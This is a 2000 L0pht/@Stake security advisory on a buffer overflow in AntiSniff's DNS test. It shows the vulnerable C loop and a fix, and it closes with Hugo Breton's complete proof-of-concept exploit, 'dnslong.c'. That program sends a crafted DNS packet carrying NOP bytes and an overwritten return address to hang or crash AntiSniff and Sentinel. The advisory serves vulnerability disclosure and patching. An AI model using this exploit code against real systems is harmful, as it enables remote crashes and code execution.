asniff_advisory.txt
9c092b58aa07ac434aee0ef897f8615870dd2e5f792cc2145cd0351d1a1c40f5
@Stake Inc.
L0pht Research Labs
www.atstake.com www.L0pht.com
Security Advisory
Advisory Name: AntiSniff version 1.01 and Researchers
version 1 DNS overflow
Release Date: 5.15.2000
Application: AntiSniff version 1.01 and AntiSniff
Researchers version 1.0
Platform: Windows and Unix versions
Severity: An attacker with raw net access can falsify a
response to AntiSniff's DNS test that can result
in a buffer overflow and thus execute code
remotely.
Author: Mudge [mudge@l0pht.com]
Vendor Status: Vendor contacted - fix available
Web: http://www.L0pht.com/advisories.html
Overview:
AntiSniff is a program that was released by L0pht Heavy Industries in
July of 1999. It attempts, through a number of tests, to
determine if a machine on a local network segment is listening to
traffic that is not directed to it (commonly referred to as sniffing).
During one particular test there is a problem if a packet that
does not adhere to DNS specifications is sent to the AntiSniff machine.
This can result in a buffer overflow on the system running AntiSniff.
If the packet is crafted appropriately this overflow scenario can be
exploited to execute arbitrary code on the system.
This scenario is only possible if AntiSniff is configured to run the DNS
test and only during the time the test is running. None the less, it is
a vulnerability that should not be ignored and has even been found in other
promiscuous mode detection programs as well.
Detailed Description:
The files bpf_watchdns.c and raw_watchdns.c of the AntiSniff researchers
version contain the following code snippit in the routine watch_dns_ptr() :
char nameStr[MAX_LEN];
...
while (count){
(char *)indx++;
strncat(nameStr, (char *)indx, count);
indx += count;
count = (char)*indx;
strncat(nameStr, ".", sizeof(nameStr) - strlen(nameStr));
}
Quick visual inspection shows that nameStr is a character array that is
allocated on the stack and is of MAX_LEN in size. The loop will continue
to concatenate to this string and can exceed MAX_LEN if correctly crafted.
This will not be run in to in the wild - but then again, malicious attackers
are not required to play within defined parameters. Quite the contrary.
One quick fix for the free Researchers version is to introduce a check
on the above loop. Something as trivial as:
while (count){
if ( strlen(nameStr) + count < (MAX_LEN - 1) ){
(char *)indx++;
strncat(nameStr, (char *)indx, count);
indx += count;
count = (char)*indx;
strncat(nameStr, ".", sizeof(nameStr) - strlen(nameStr));
} else {
count = 0;
}
}
The above can be replaced in the bpf_watch_dns.c and raw_watchdns.c files
in the appropriate watch_dns_ptr() functions.
The windows code contains a similar problem.
Immediate Solution:
Do not run the DNS tests on AntiSniff version 1.01 or the Researchers
version 1.0. Download the newer version from http://www.l0pht.com/antisniff
which are labeled AntiSniff version 1.02 for the commercial instance and
AntiSniff version 1-1 for the researchers instance.
Vendor Solution:
New versions have been released which correct this problem.
Version 1.1 of the free Researcher's version is available at
http://www.l0pht.com/antisniff/dist/anti_sniff_researchv1-1.tar.gz
Version 1.02 of the Windows version is available at
http://www.l0pht.com/antisniff/dist/as-102.zip
We would like to thank Hugo Breton (bretonh@pgci.ca) who works for PGCI
http://www.pgci.ca for researching this, bringing it to our
attention and thus contributing to our being able contact the current
maintainers of the program to correct the problem and thus have a better
product. We encourage other companies to commend this type of community
contribution to security research and hope we are setting a solid
example.
Proof of concept code:
/* dnslong.c by Hugo Breton (bretonh@pgci.ca)
This program must be run in the DNS test phase of Sentinel and Anti Sniff.
It illustrates how code can be run remotely on a Win98 machine running Anti
Sniff.
Suggested arguments are:
"dnslong host 5 65" to send the Windows 98 version of Anti Sniff in an
infinite loop.
"dnslong host 2 255" to segfault the oBSD version of Anti Sniff.
"dnslong host 1 255" to segfault Sentinel.
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
int main(int argc,char * * argv)
{
char p[1024];
int sock,i,j,k,len,labelnum,labellen;
struct sockaddr_in sin;
struct hostent * hoste;
printf("dnslong.c by Hugo Breton (bretonh@pgci.ca)\n");
if(argc<4)
{
printf("usage: %s host label_count label_length\n",argv[0]);
return(0);
}
bzero((void *) &sin,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=htons(53);
if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
if((hoste=gethostbyname(argv[1]))==NULL)
{
printf("unknown host %s\n",argv[1]);
return(0);
}
bcopy(hoste->h_addr,&sin.sin_addr.s_addr,4);
}
labelnum=atoi(argv[2]);
labellen=atoi(argv[3]);
len=labelnum*(labellen+1)+5+12;
if(len>1024)
{
printf("resulting packet will be too long\n");
return(0);
}
bzero((void *) p,1024);
* ((unsigned short *) (p+0))=htons(867-5309);
* ((unsigned short *) (p+4))=htons(1);
for(i=12,j=0;j<labelnum;j++)
{
* ((unsigned char *) (p+(i++)))=labellen;
for(k=0;k<labellen;k++,i++)
{
* ((unsigned char *) (p+i))=0x90;
}
* ((unsigned char *) (p+i-2))=0xeb; /* jmp $-2 */
* ((unsigned char *) (p+i-1))=0xfe; /* just make it loop */
}
* ((unsigned char *) (p+269))=0x20;
* ((unsigned char *) (p+270))=0xff;
* ((unsigned char *) (p+271))=0x87;
* ((unsigned char *) (p+272))=0x01; /* new EIP */
* ((unsigned char *) (p+(i++)))=0;
* ((unsigned short *) (p+i))=htons(1);
* ((unsigned short *) (p+i+2))=htons(1);
if((sock=socket(AF_INET,SOCK_DGRAM,0))==-1)
{
printf("unable to create UDP socket\n");
return(0);
}
if(sendto(sock,p,len,0,(struct sockaddr *) &sin,sizeof(sin))==-1)
{
printf("unable to send packet\n");
return(0);
}
printf("packet sent to host %s\n",argv[1]);
return(0);
}
[ For more advisories check out http://www.L0pht.com/advisories.html ]
L-ZERO-P-H-T